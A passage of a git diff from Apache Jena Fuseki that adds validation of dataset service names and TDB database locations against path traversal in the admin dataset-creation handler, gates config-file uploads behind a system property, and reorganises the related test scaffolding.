                 Literal object = stmt.getObject().asLiteral();
@@ -165,39 +180,85 @@ else if ( WebContent.isMultiPartForm(ct) )
                 if ( object.getDatatype() != null && ! object.getDatatype().equals(XSDDatatype.XSDstring) )
                     action.log.warn(format("[%d] Service name '%s' is not a string", action.id, FmtUtils.stringForRDFNode(object)));
 
-                String datasetPath;
-                {   // Check the name provided.
+                final String datasetPath;
+                {
                     String datasetName = object.getLexicalForm();
                     // This duplicates the code FusekiBuilder.buildDataAccessPoint to give better error messages and HTTP status code."
 
                     // ---- Check and canonicalize name.
-                    if ( datasetName.isEmpty() )
-                        ServletOps.error(HttpSC.BAD_REQUEST_400, "Empty dataset name");
-                    if ( StringUtils.isBlank(datasetName) )
-                        ServletOps.error(HttpSC.BAD_REQUEST_400, format("Whitespace dataset name: '%s'", datasetName));
-                    if ( datasetName.contains(" ") )
-                        ServletOps.error(HttpSC.BAD_REQUEST_400, format("Bad dataset name (contains spaces) '%s'",datasetName));
-                    if ( datasetName.equals("/") )
-                        ServletOps.error(HttpSC.BAD_REQUEST_400, format("Bad dataset name '%s'",datasetName));
+                    // Various explicit check for better error messages.
+
+                    if ( datasetName.isEmpty() ) {
+                        action.log.warn(format("[%d] Empty dataset name", action.id));
+                        ServletOps.errorBadRequest("Empty dataset name");
+                    }
+                    if ( StringUtils.isBlank(datasetName) ) {
+                        action.log.warn(format("[%d] Whitespace dataset name: '%s'", action.id, datasetName));
+                        ServletOps.errorBadRequest(format("Whitespace dataset name: '%s'", datasetName));
+                    }
+                    if ( datasetName.contains(" ") ) {
+                        action.log.warn(format("[%d] Bad dataset name (contains spaces) '%s'", action.id, datasetName));
+                        ServletOps.errorBadRequest(format("Bad dataset name (contains spaces) '%s'", datasetName));
+                    }
+                    if ( datasetName.equals("/") ) {
+                        action.log.warn(format("[%d] Bad dataset name '%s'", action.id, datasetName));
+                        ServletOps.errorBadRequest(format("Bad dataset name '%s'", datasetName));
+                    }
+
+                    // The service names must be a valid URI path
+                    try {
+                        ValidString validServiceName = Validators.serviceName(datasetName);
+                    } catch (FusekiConfigException ex) {
+                        action.log.warn(format("[%d] Invalid service name: '%s'", action.id, datasetName));
+                        ServletOps.error(HttpSC.BAD_REQUEST_400, format("Invalid service name: '%s'", datasetName));
+                    }
+
+                    // Canonical - starts with "/",does not end in "/"
                     datasetPath = DataAccessPoint.canonical(datasetName);
-                    // ---- Check whether it already exists
-                    if ( action.getDataAccessPointRegistry().isRegistered(datasetPath) )
-                        ServletOps.error(HttpSC.CONFLICT_409, "Name already registered "+datasetPath);
+
+                    // For this operation, check additionally that the path does not go outside the expected file area.
+                    // This imposes the path component-only rule and does not allow ".."
+                    if ( ! isValidServiceName(datasetPath) ) {
+                        action.log.warn(format("[%d] Database service name not acceptable: '%s'", action.id, datasetName));
+                        ServletOps.error(HttpSC.BAD_REQUEST_400, format("Database service name not acceptable: '%s'", datasetName));
+                    }
+                }
+
+                // ---- Check whether it already exists
+                if ( action.getDataAccessPointRegistry().isRegistered(datasetPath) ) {
+                    action.log.warn(format("[%d] Name already registered '%s'", action.id, datasetPath));
+                    ServletOps.error(HttpSC.CONFLICT_409, format("Name already registered '%s'", datasetPath));
                 }
 
+                // -- Validate any TDB locations.
+                // If this is a templated request, there is no need to do this
+                // because the location is "datasetPath" which has been checked.
+                if ( ! templatedRequest ) {
+                    List<String> tdbLocations = tdbLocations(action, model.getGraph());
+                    for(String tdbLocation : tdbLocations ) {
+                        if ( ! isValidTDBLocation(tdbLocation) ) {
+                            action.log.warn(format("[%d] TDB database location not acceptable: '%s'", action.id, tdbLocation));
+                            ServletOps.error(HttpSC.BAD_REQUEST_400, format("TDB database location not acceptable: '%s'", tdbLocation));
+                        }
+                    }
+                }
+
+                // ----
+                // Keep a persistent copy with a globally unique name.
+                // This is not used for anything other than being "for the record".
+                systemFileCopy = FusekiServerCtl.dirSystemFileArea.resolve(uuid.toString()).toString();
+                RDFWriter.source(model).lang(Lang.TURTLE).output(systemFileCopy);
+
+                // ----
                 action.log.info(format("[%d] Create database : name = %s", action.id, datasetPath));
 
-                configFile = FusekiServerCtl.generateConfigurationFilename(datasetPath);
                 List<String> existing = FusekiServerCtl.existingConfigurationFile(datasetPath);
                 if ( ! existing.isEmpty() )
                     ServletOps.error(HttpSC.CONFLICT_409, "Configuration file for '"+datasetPath+"' already exists");
 
-                // Write to configuration directory.
-                try ( OutputStream outCopy = IO.openOutputFile(configFile) ) {
-                    RDFDataMgr.write(outCopy, descriptionModel, Lang.TURTLE);
-                }
+                configFile = FusekiServerCtl.generateConfigurationFilename(datasetPath);
 
-                // Need to be in Resource space at this point.
+                // ---- Build the service
                 DataAccessPoint dataAccessPoint = FusekiConfig.buildDataAccessPoint(subject.getModel().getGraph(), subject.asNode(), registry);
                 if ( dataAccessPoint == null ) {
                     FmtLog.error(action.log, "Failed to build DataAccessPoint: datasetPath = %s; DataAccessPoint name = %s", datasetPath, dataAccessPoint);
@@ -205,10 +266,18 @@ else if ( WebContent.isMultiPartForm(ct) )
                     return null;
                 }
                 dataAccessPoint.getDataService().setEndpointProcessors(action.getOperationRegistry());
-                dataAccessPoint.getDataService().goActive();
+
+                // Write to configuration directory.
+                RDFWriter.source(model).lang(Lang.TURTLE).output(configFile);
+
                 if ( ! datasetPath.equals(dataAccessPoint.getName()) )
                     FmtLog.warn(action.log, "Inconsistent names: datasetPath = %s; DataAccessPoint name = %s", datasetPath, dataAccessPoint);
+
+                dataAccessPoint.getDataService().goActive();
                 succeeded = true;
+
+                // At this point, a server restarting will find the new service.
+                // This next line makes it dispatchable in this running server.
                 action.getDataAccessPointRegistry().register(dataAccessPoint);
 
                 // Add to metrics
@@ -218,8 +287,8 @@ else if ( WebContent.isMultiPartForm(ct) )
 
                 action.setResponseContentType(WebContent.contentTypeTextPlain);
                 ServletOps.success(action);
-            } catch (IOException ex) { IO.exception(ex); }
-            finally {
+            } finally {
+                // Clear-up on failure.
                 if ( ! succeeded ) {
                     if ( systemFileCopy != null ) FileOps.deleteSilent(systemFileCopy);
                     if ( configFile != null ) FileOps.deleteSilent(configFile);
@@ -229,6 +298,41 @@ else if ( WebContent.isMultiPartForm(ct) )
         }
     }
 
+    /**
+     * Check whether a service name is acceptable.
+     * A service name is used as a filesystem path component,
+     * except it may have a leading "/"., to store the database and the configuration.
+     * <p>
+     * The canonical name for a service (see {@link DataAccessPoint#canonical})
+     * starts with a "/" and this will be added if necessary.
+     */
+    private boolean isValidServiceName(String datasetPath) {
+        // Leading "/" is OK , nowhere else is.
+        int idx = datasetPath.indexOf('/', 1);
+        if ( idx > 0 )
+            return false;
+        // No slash, except maybe at the start so a meaningful use of .. can only be at the start.
+        if ( datasetPath.startsWith("/.."))
+            return false;
+        // Character restrictions done by Validators.serviceName
+        return true;
+    }
+
+    // This works for TDB1 as well.
+    private boolean isValidTDBLocation(String tdbLocation) {
+        Location location = Location.create(tdbLocation);
+        if ( location.isMem() )
+            return true;
+        // No ".."
+        if (tdbLocation.startsWith("..") || tdbLocation.contains("/..") ) {
+            // That test was too strict.
+            List<String> components = FileOps.pathComponents(tdbLocation);
+            if ( components.contains("..") )
+                return false;
+        }
+        return true;
+    }
+
     /** Find the service resource. There must be only one in the configuration. */
     private Statement findService(Model model) {
         // Try to find by unique pServiceName (max backwards compatibility)
@@ -261,8 +365,11 @@ private Statement findService(Model model) {
             stmt = stmt3;
         }
 
+        if ( stmt == null )
+            return null;
+
         if ( ! stmt.getObject().isLiteral() )
-            ServletOps.errorBadRequest("Found "+FmtUtils.stringForRDFNode(stmt.getObject())+" : Service names are strings, then used to build the external URI");
+            ServletOps.errorBadRequest("Found "+FmtUtils.stringForRDFNode(stmt.getObject())+" : Service names are strings, which are then used to build the external URI");
 
         return stmt;
     }
@@ -305,13 +412,10 @@ protected void execDeleteItem(HttpAction action) {
             ServletOps.errorNotFound("No such dataset registered: "+name);
 
         boolean succeeded = false;
+        FusekiServerCtl serverCtl = FusekiServerCtl.get(action.getServletContext());
 
-        synchronized(FusekiAdmin.systemLock ) {
+        synchronized(serverCtl.getServerlock()) {
             try {
-                // Here, go offline.
-                // Need to reference count operations when they drop to zero
-                // or a timer goes off, we delete the dataset.
-
                 // Redo check inside transaction.
                 DataAccessPoint ref = action.getDataAccessPointRegistry().get(name);
                 if ( ref == null )
@@ -319,7 +423,8 @@ protected void execDeleteItem(HttpAction action) {
 
                 // Get a reference before removing.
                 DataService dataService = ref.getDataService();
-                // ---- Make it invisible in this running server.
+
+                // Remove from the registry - operation dispatch will not find it any more.
                 action.getDataAccessPointRegistry().remove(name);
 
                 // Find the configuration.
@@ -327,7 +432,7 @@ protected void execDeleteItem(HttpAction action) {
                 List<String> configurationFiles = FusekiServerCtl.existingConfigurationFile(filename);
 
                 if ( configurationFiles.isEmpty() ) {
-                    // ---- Unmanaged
+                    // -- Unmanaged
                     action.log.warn(format("[%d] Can't delete database configuration - not a managed database", action.id, name));
 //                ServletOps.errorOccurred(format("Can't delete database - not a managed configuration", name));
                     succeeded = true;
@@ -343,23 +448,22 @@ protected void execDeleteItem(HttpAction action) {
                     return;
                 }
 
-                // ---- Remove managed database.
+                // -- Remove managed database.
                 String cfgPathname = configurationFiles.get(0);
 
                 // Delete configuration file.
                 // Once deleted, server restart will not have the database.
                 FileOps.deleteSilent(cfgPathname);
 
-                // Delete the database for real only when it is in the server "run/databases"
-                // area. Don't delete databases that reside elsewhere. We do delete the
-                // configuration file, so the databases will not be associated with the server
-                // anymore.
+                // Delete the database for real only if it is in the server
+                // "run/databases" area. Don't delete databases that reside
+                // elsewhere. We have already deleted the configuration file, so the
+                // databases will not be associated with the server anymore.
 
                 @SuppressWarnings("removal")
                 boolean isTDB1 = org.apache.jena.tdb1.sys.TDBInternal.isTDB1(dataService.getDataset());
                 boolean isTDB2 = org.apache.jena.tdb2.sys.TDBInternal.isTDB2(dataService.getDataset());
 
-                // This occasionally fails in tests due to outstanding transactions.
                 try {
                     dataService.shutdown();
                 } catch (JenaException ex) {
@@ -368,8 +472,9 @@ protected void execDeleteItem(HttpAction action) {
                 // JENA-1481: Really delete files.
                 if ( ( isTDB1 || isTDB2 ) ) {
                     // Delete databases created by the UI, or the admin operation, which are
-                    // in predictable, unshared location on disk.
+                    // in predictable, unshared locations on disk.
                     // There may not be any database files, the in-memory case.
+                    // (TDB supports an in-memory mode.)
                     Path pDatabase = FusekiServerCtl.dirDatabases.resolve(filename);
                     if ( Files.exists(pDatabase)) {
                         try {
@@ -406,18 +511,16 @@ private static void assemblerFromBody(HttpAction action, StreamRDF dest) {
     }
 
     private static void assemblerFromForm(HttpAction action, StreamRDF dest) {
-        String x = action.getRequestQueryString();
         String dbType = action.getRequestParameter(paramDatasetType);
         String dbName = action.getRequestParameter(paramDatasetName);
-        if ( StringUtils.isBlank(dbType) || StringUtils.isBlank(dbName) )
-            ServletOps.errorBadRequest("Received HTML form.  Both parameters 'dbName' and 'dbType' required");
+        // Test for null, empty or only whitespace.
+        if ( StringUtils.isBlank(dbType) || StringUtils.isBlank(dbName) ) {
+            action.log.warn(format("[%d] Both parameters 'dbName' and 'dbType' required and not be blank", action.id));
+            ServletOps.errorBadRequest("Received HTML form. Both parameters 'dbName' and 'dbType' required");
+        }
 
         Map<String, String> params = new HashMap<>();
-
-        if ( dbName.startsWith("/") )
-            params.put(Template.NAME, dbName.substring(1));
-        else
-            params.put(Template.NAME, dbName);
+        params.put(Template.NAME, dbName);
 
         FusekiServerCtl serverCtl = FusekiServerCtl.get(action.getServletContext());
         if ( serverCtl != null )
@@ -427,8 +530,7 @@ private static void assemblerFromForm(HttpAction action, StreamRDF dest) {
             // No return.
         }
 
-        //action.log.info(format("[%d] Create database : name = %s, type = %s", action.id, dbName, dbType ));
-
+        // -- Get the template
         String template = dbTypeToTemplate.get(dbType.toLowerCase(Locale.ROOT));
         if ( template == null ) {
             List<String> keys = new ArrayList<>(dbTypeToTemplate.keySet());
@@ -441,7 +543,8 @@ private static void assemblerFromForm(HttpAction action, StreamRDF dest) {
     }
 
     private static void assemblerFromUpload(HttpAction action, StreamRDF dest) {
-        DataUploader.incomingData(action, dest);
+        throw new NotImplemented();
+        //DataUploader.incomingData(action, dest);
     }
 
     // ---- Auxiliary functions
@@ -476,6 +579,49 @@ private static void bodyAsGraph(HttpAction action, StreamRDF dest) {
             return;
         }
         dest.prefix("root", base+"#");
-        ActionLib.parseOrError(action, dest, lang, base);
+        ActionLib.parse(action, dest, lang, base);
+    }
+
+    // ---- POST
+
+    private static final String NL = "\n";
+
+    @SuppressWarnings("removal")
+    private static final String queryStringLocations =
+            "PREFIX tdb1:   <"+TDB1.namespace+">"+NL+
+            "PREFIX tdb2:   <"+TDB2.namespace+">"+NL+
+            """
+            SELECT * {
+               ?x ( tdb2:location | tdb1:location) ?location
+            }
+            """ ;
+
+    private static final Query queryLocations = QueryFactory.create(queryStringLocations);
+
+    private static List<String> tdbLocations(HttpAction action, Graph configGraph) {
+        try ( QueryExec exec =  QueryExec.graph(configGraph).query(queryLocations).build() ) {
+            RowSet results = exec.select();
+            List<String> locations = new ArrayList<>();
+            results.forEach(b->{
+                Node loc = b.get("location");
+                String location;
+                if ( loc.isURI() )
+                    location = loc.getURI();
+                else if ( Util.isSimpleString(loc) )
+                    location = G.asString(loc);
+                else {
+                    //action.log.warn(format("[%d] Database location is not a string nor a URI", action.id));
+                    // No return
+                    ServletOps.errorBadRequest("TDB database location is not a string");
+                    location = null;
+                }
+                locations.add(location);
+            });
+            return locations;
+        } catch (Exception ex) {
+            // No return
+            ServletOps.errorBadRequest("TDB database location can not be deterined");
+            return null;
+        }
     }
 }
diff --git a/jena-fuseki2/jena-fuseki-main/src/main/java/org/apache/jena/fuseki/mgt/FusekiAdmin.java b/jena-fuseki2/jena-fuseki-main/src/main/java/org/apache/jena/fuseki/mgt/FusekiAdmin.java
index 2481c4f6996..9da6e68bf33 100644
--- a/jena-fuseki2/jena-fuseki-main/src/main/java/org/apache/jena/fuseki/mgt/FusekiAdmin.java
+++ b/jena-fuseki2/jena-fuseki-main/src/main/java/org/apache/jena/fuseki/mgt/FusekiAdmin.java
@@ -19,5 +19,21 @@
 package org.apache.jena.fuseki.mgt;
 
 public class FusekiAdmin {
-    public final static Object systemLock = new Object();
+    /**
+     * Control whether to allow creating new dataservices by uploading a config file.
+     * See {@link ActionDatasets}.
+     *
+     */
+    public static final String allowConfigFileProperty = "fuseki:allowAddByConfigFile";
+
+    /**
+     * Return whether to allow service configuration files to be uploaded as a file.
+     * See {@link ActionDatasets}.
+     */
+    public static boolean allowConfigFiles() {
+        String value = System.getProperty(allowConfigFileProperty);
+        if ( value != null )
+            return "true".equals(value);
+        return false;
+    }
 }
diff --git a/jena-fuseki2/jena-fuseki-main/src/main/java/org/apache/jena/fuseki/mgt/FusekiServerCtl.java b/jena-fuseki2/jena-fuseki-main/src/main/java/org/apache/jena/fuseki/mgt/FusekiServerCtl.java
index a255b9b20cc..9cc1a4fd430 100644
--- a/jena-fuseki2/jena-fuseki-main/src/main/java/org/apache/jena/fuseki/mgt/FusekiServerCtl.java
+++ b/jena-fuseki2/jena-fuseki-main/src/main/java/org/apache/jena/fuseki/mgt/FusekiServerCtl.java
@@ -427,10 +427,12 @@ public static String generateConfigurationFilename(String dsName) {
     }
 
     /** Return the filenames of all matching files in the configuration directory (absolute paths returned ). */
-    public static List<String> existingConfigurationFile(String baseFilename) {
+    public static List<String> existingConfigurationFile(String serviceName) {
+        String filename = DataAccessPoint.isCanonical(serviceName) ? serviceName.substring(1) : serviceName;
         try {
             List<String> paths = new ArrayList<>();
-            try (DirectoryStream<Path> stream = Files.newDirectoryStream(FusekiServerCtl.dirConfiguration, baseFilename+".*") ) {
+            // This ".* is a file glob pattern, not a regular expression  - it looks for file extensions.
+            try (DirectoryStream<Path> stream = Files.newDirectoryStream(FusekiServerCtl.dirConfiguration, filename+".*") ) {
                 stream.forEach((p)-> paths.add(FusekiServerCtl.dirConfiguration.resolve(p).toString() ));
             }
             return paths;
@@ -438,5 +440,4 @@ public static List<String> existingConfigurationFile(String baseFilename) {
             throw new InternalErrorException("Failed to read configuration directory "+FusekiServerCtl.dirConfiguration);
         }
     }
-
 }
diff --git a/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/main/FusekiTestLib.java b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/main/FusekiTestLib.java
index c57f85fa27f..83bae8f9d66 100644
--- a/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/main/FusekiTestLib.java
+++ b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/main/FusekiTestLib.java
@@ -43,6 +43,10 @@ public static void expect404(Runnable runnable) {
         expectFail(runnable, HttpSC.Code.NOT_FOUND);
     }
 
+    public static void expect409(Runnable runnable) {
+        expectFail(runnable, HttpSC.Code.CONFLICT);
+    }
+
     public static void expectFail(Runnable runnable, Code code) {
         if ( code == null || ( 200 <= code.getCode() && code.getCode() < 300 ) ) {
             runnable.run();
diff --git a/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/TS_FusekiMods.java b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/TS_FusekiMods.java
index 982da56e2f7..b8d8ddf4827 100644
--- a/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/TS_FusekiMods.java
+++ b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/TS_FusekiMods.java
@@ -18,27 +18,25 @@
 
 package org.apache.jena.fuseki.mod;
 
-import org.junit.platform.suite.api.SelectClasses;
-import org.junit.platform.suite.api.Suite;
-
-import org.apache.jena.fuseki.mod.admin.TestAdmin;
-import org.apache.jena.fuseki.mod.admin.TestFusekiReload;
-import org.apache.jena.fuseki.mod.admin.TestTemplateAddDataset;
+import org.apache.jena.fuseki.mod.admin.TSMod_Admin;
 import org.apache.jena.fuseki.mod.metrics.TestModPrometheus;
 import org.apache.jena.fuseki.mod.shiro.TestModShiro;
+import org.junit.platform.suite.api.SelectClasses;
+import org.junit.platform.suite.api.Suite;
 
 @Suite
 @SelectClasses({
     // Admin
-    TestAdmin.class,
-    TestFusekiReload.class,
-    TestTemplateAddDataset.class,
+    TSMod_Admin.class,
     // UI
 
     // Prometheus
     TestModPrometheus.class,
-    // Apache Shiro
+
+    // Shiro
     TestModShiro.class,
+
+    // Whole server
     TestFusekiServer.class
 })
 public class TS_FusekiMods {
diff --git a/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/FusekiServerPerTest.java b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/FusekiServerPerTest.java
new file mode 100644
index 00000000000..740f2d67562
--- /dev/null
+++ b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/FusekiServerPerTest.java
@@ -0,0 +1,109 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.jena.fuseki.mod.admin;
+
+import static org.junit.jupiter.api.Assertions.fail;
+
+import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+
+import org.apache.jena.atlas.lib.FileOps;
+import org.apache.jena.atlas.logging.LogCtl;
+import org.apache.jena.fuseki.Fuseki;
+import org.apache.jena.fuseki.main.FusekiServer;
+import org.apache.jena.fuseki.main.sys.FusekiModules;
+import org.apache.jena.fuseki.mgt.FusekiServerCtl;
+import org.apache.jena.fuseki.system.FusekiLogging;
+import org.apache.jena.sparql.core.DatasetGraph;
+import org.apache.jena.sparql.core.DatasetGraphFactory;
+import org.awaitility.Awaitility;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.BeforeEach;
+
+/**
+ * Framework for running tests on a Fuseki server, with a fresh server for each test.
+ */
+public class FusekiServerPerTest {
+
+    @BeforeAll public static void logging() {
+        FusekiLogging.setLogging();
+    }
+
+    protected FusekiServerPerTest() {}
+
+    // One server per test.
+
+    protected void withServer(Consumer<FusekiServer> action) {
+        withServer(null, action);
+    }
+
+    protected void withServer(String configFile, Consumer<FusekiServer> action) {
+        FusekiModules modules = modulesSetup();
+        DatasetGraph dsg = DatasetGraphFactory.createTxnMem();
+        FusekiServer.Builder builder = FusekiServer.create().port(0);
+
+        if ( modules != null )
+            builder.fusekiModules(modules);
+
+        if ( configFile != null )
+            builder.parseConfigFile(configFile);
+
+        customizerServer(builder);
+
+        FusekiServer testServer = builder.start();
+        try {
+            action.accept(testServer);
+        } finally {
+            testServer.stop();
+            FusekiServerCtl.clearUpSystemState();
+        }
+    }
+
+    protected void customizerServer(FusekiServer.Builder builder) {}
+
+    protected FusekiModules modulesSetup() { return null; }
+
+    @BeforeEach public void cleanStart() {
+        System.setProperty("FUSEKI_BASE", "target/run");
+        FileOps.clearAll("target/run");
+    }
+
+    @BeforeAll public static void setLogging() {
+        LogCtl.setLevel(Fuseki.backupLogName, "ERROR");
+        LogCtl.setLevel(Fuseki.compactLogName,"ERROR");
+        Awaitility.setDefaultPollDelay(20,TimeUnit.MILLISECONDS);
+        Awaitility.setDefaultPollInterval(50,TimeUnit.MILLISECONDS);
+    }
+
+    @AfterAll public static void unsetLogging() {
+        LogCtl.setLevel(Fuseki.backupLogName, "WARN");
+        LogCtl.setLevel(Fuseki.compactLogName,"WARN");
+    }
+
+    /** Expect two strings to be non-null and be {@link String#equalsIgnoreCase} */
+    protected static void assertEqualsContectType(String expected, String actual) {
+        if ( expected == null && actual == null )
+            return;
+        if ( expected == null || actual == null )
+            fail("Expected: "+expected+" Got: "+actual);
+        if ( ! expected.equalsIgnoreCase(actual) )
+            fail("Expected: "+expected+" Got: "+actual);
+    }
+}
diff --git a/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/FusekiServerPerTestClass.java b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/FusekiServerPerTestClass.java
new file mode 100644
index 00000000000..5f1cbc35c74
--- /dev/null
+++ b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/FusekiServerPerTestClass.java
@@ -0,0 +1,138 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.jena.fuseki.mod.admin;
+
+import static org.junit.jupiter.api.Assertions.fail;
+
+import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+
+import org.apache.jena.atlas.lib.FileOps;
+import org.apache.jena.atlas.logging.LogCtl;
+import org.apache.jena.fuseki.Fuseki;
+import org.apache.jena.fuseki.ctl.ActionSleep;
+import org.apache.jena.fuseki.main.FusekiServer;
+import org.apache.jena.fuseki.main.sys.FusekiModules;
+import org.apache.jena.fuseki.mgt.FusekiServerCtl;
+import org.apache.jena.fuseki.mod.FusekiServerRunner;
+import org.apache.jena.fuseki.server.DataAccessPointRegistry;
+import org.apache.jena.fuseki.system.FusekiLogging;
+import org.apache.jena.sparql.core.DatasetGraph;
+import org.apache.jena.sparql.core.DatasetGraphFactory;
+import org.awaitility.Awaitility;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.BeforeAll;
+
+/**
+ * Framework for running tests on a Fuseki server, with a single server for all tests.
+ */
+public class FusekiServerPerTestClass {
+
+    private static String serverURL = null;
+    private static FusekiServer server = null;
+
+    @BeforeAll public static void logging() {
+        FusekiLogging.setLogging();
+    }
+
+    @BeforeAll public static void startServer() {
+        System.setProperty("FUSEKI_BASE", serverArea());
+        FileOps.clearAll(serverArea());
+
+        server = createServerForTest();
+        serverURL = server.serverURL();
+    }
+
+    protected static String serverArea() {
+        return "target/run";
+    }
+
+    protected static DataAccessPointRegistry serverRegistry() {
+        return server.getDataAccessPointRegistry();
+    }
+
+    @AfterAll public static void stopServer() {
+        if ( server != null )
+            server.stop();
+        serverURL = null;
+        FusekiServerCtl.clearUpSystemState();
+    }
+
+    @BeforeAll public static void setLogging() {
+        LogCtl.setLevel(Fuseki.backupLogName, "ERROR");
+        LogCtl.setLevel(Fuseki.compactLogName,"ERROR");
+        Awaitility.setDefaultPollDelay(20,TimeUnit.MILLISECONDS);
+        Awaitility.setDefaultPollInterval(50,TimeUnit.MILLISECONDS);
+    }
+
+    @AfterAll public static void unsetLogging() {
+        LogCtl.setLevel(Fuseki.backupLogName, "WARN");
+        LogCtl.setLevel(Fuseki.compactLogName,"WARN");
+    }
+
+    // For the one-per-class setup, include the usual modules for jena-fuseki-server.
+    private static FusekiModules modulesSetup() {
+        return FusekiServerRunner.serverModules();
+    }
+
+    private static FusekiServer createServerForTest() {
+        FusekiModules modules = modulesSetup();
+        DatasetGraph dsg = DatasetGraphFactory.createTxnMem();
+        FusekiServer testServer = FusekiServer.create()
+                .fusekiModules(modules)
+                .port(0)
+                // Add a database.
+                .add(datasetName(), dsg)
+                // Action used for testing.
+                .addServlet("/$/sleep/*", new ActionSleep())
+                .build()
+                .start();
+        return testServer;
+    }
+
+    protected static String urlRoot() {
+        return serverURL;
+    }
+
+    protected static String adminURL() {
+        return serverURL + "$/";
+    }
+
+    protected static String datasetName() {
+        return "dataset";
+    }
+
+    protected FusekiServerPerTestClass() {}
+
+    // One server per test.
+
+    protected void withServer(Consumer<FusekiServer> action) {
+        action.accept(server);
+    }
+
+    /** Expect two strings to be non-null and be {@link String#equalsIgnoreCase} */
+    protected static void assertEqualsContectType(String expected, String actual) {
+        if ( expected == null && actual == null )
+            return;
+        if ( expected == null || actual == null )
+            fail("Expected: "+expected+" Got: "+actual);
+        if ( ! expected.equalsIgnoreCase(actual) )
+            fail("Expected: "+expected+" Got: "+actual);
+    }
+}
diff --git a/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TSMod_Admin.java b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TSMod_Admin.java
new file mode 100644
index 00000000000..8c75e55674c
--- /dev/null
+++ b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TSMod_Admin.java
@@ -0,0 +1,33 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.jena.fuseki.mod.admin;
+
+import org.junit.platform.suite.api.SelectClasses;
+import org.junit.platform.suite.api.Suite;
+
+@Suite
+@SelectClasses({
+    TestAdmin.class,
+    TestAdminDatabaseOps.class,
+    TestAdminAddDatasetsConfigFile.class,
+    TestAdminAddDatasetTemplate.class,
+    TestFusekiReload.class,
+})
+
+public class TSMod_Admin {}
diff --git a/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdmin.java b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdmin.java
index 9586c33c58e..bed933ade3f 100644
--- a/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdmin.java
+++ b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdmin.java
@@ -18,140 +18,38 @@
 
 package org.apache.jena.fuseki.mod.admin;
 
-import static org.apache.jena.fuseki.mgt.ServerMgtConst.*;
+import static org.apache.jena.fuseki.mgt.ServerMgtConst.opServer;
 import static org.apache.jena.fuseki.server.ServerConst.opPing;
-import static org.apache.jena.fuseki.server.ServerConst.opStats;
-import static org.apache.jena.http.HttpOp.*;
+import static org.apache.jena.http.HttpOp.httpGet;
+import static org.apache.jena.http.HttpOp.httpGetJson;
+import static org.apache.jena.http.HttpOp.httpPost;
+import static org.apache.jena.http.HttpOp.httpPostRtnJSON;
 import static org.awaitility.Awaitility.await;
-import static org.junit.jupiter.api.Assertions.*;
-import static org.junit.jupiter.api.Assumptions.assumeFalse;
-
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.net.http.HttpRequest.BodyPublisher;
-import java.net.http.HttpRequest.BodyPublishers;
-import java.nio.file.Path;
